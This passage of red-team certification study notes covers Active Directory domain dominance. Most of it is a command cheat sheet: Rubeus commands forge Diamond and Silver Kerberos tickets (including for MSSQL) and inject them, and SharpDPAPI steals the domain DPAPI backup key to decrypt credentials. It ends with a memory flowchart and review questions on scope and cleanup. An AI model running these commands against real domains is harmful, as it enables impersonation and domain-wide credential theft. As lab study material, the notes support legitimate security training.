 /nowrap

GET:
Modified legitimate TGT

THEN:
make_token
ptt
klist


OPTIONAL INSPECTION:

Rubeus.exe describe \
 /servicekey:<KRBTGT_AES256> \
 /ticket:<BASE64>


============================================================
SILVER  -  COMPUTER/SERVICE AES
============================================================

HAVE:
service/computer secret

RUN:
Rubeus.exe silver \
 /service:<SPN> \
 /aes256:<SERVICE_AES256> \
 /user:<USER> \
 /domain:<DOMAIN> \
 /sid:<SID> \
 /nowrap

GET:
Forged TGS

THEN:
make_token
ptt
klist

EXPECT:
Server: <SERVICE>/<HOST>


============================================================
SERVICE PASSWORD → SERVICE KEY
============================================================

HAVE:
plaintext service-account password

RUN:
Rubeus.exe hash \
 /user:<SERVICE_ACCOUNT> \
 /domain:<DOMAIN> \
 /password:<PASSWORD>

GET:
RC4
AES128
AES256

NEXT:
use appropriate service key for Silver


============================================================
MSSQL SILVER
============================================================

RUN:
Rubeus.exe silver \
 /service:MSSQLSvc/<SERVER>:1433 \
 /rc4:<SERVICE_RC4> \
 /user:<USER> \
 /id:<RID> \
 /groups:<GROUP_RIDS> \
 /domain:<DOMAIN> \
 /sid:<SID> \
 /nowrap

THEN:
make_token
ptt
klist

TEST:
SQLRecon.exe \
 /a:wintoken \
 /h:<SQL_HOST> \
 /m:info


============================================================
RETURN TOKEN
============================================================

rev2self


============================================================
DPAPI BACKUP KEY
============================================================

GET BACKUP KEY:

SharpDPAPI.exe backupkey

SAVE:
Key: <DPAPI_BACKUP_KEY>


ENUMERATE CREDENTIALS:

SharpDPAPI.exe credentials


DECRYPT USING DOMAIN BACKUP KEY:

SharpDPAPI.exe credentials \
 /pvk:<DPAPI_BACKUP_KEY>

23. Where does every required value come from?

This is the part that usually causes confusion.

That distinction matters: the Domain Dominance chapter doesn't actually teach every enumeration step required to discover SID/RID/SPN/key material. It assumes some of those came from earlier CRTO enumeration and credential-access material.

24. The shortest possible memory version

When you're in the lab, ask yourself:

What did I steal?

krbtgt AES key?

DCSync
   ↓
Golden / Diamond
   ↓
TGT

Computer/service key?

Silver
   ↓
TGS

Plaintext service password?

Rubeus hash
   ↓
service key
   ↓
Silver

Ticket generated?

make_token
   ↓
ptt
   ↓
klist

Done impersonating?

rev2self

DPAPI domain backup key?

SharpDPAPI backupkey
      ↓
credentials
      ↓
credentials /pvk:<KEY>

If you internalize secret → ticket type → inject → verify → use, you don't actually need to memorize the entire chapter line by line.

Review prompts

1. Which secret supports a Silver Ticket, and why is DCSync only one possible way to obtain it?
2. What does the krbtgt key let you create, and how is that different from a service-account key?
3. What does a valid ticket prove, and what separate authorization check remains?
4. Why is the DPAPI domain backup key a separate recovery branch?
5. Which scope, OPSEC and cleanup gates must be checked before any high-impact lab action?

This is a living study note. Sources and understanding may change as it is reviewed.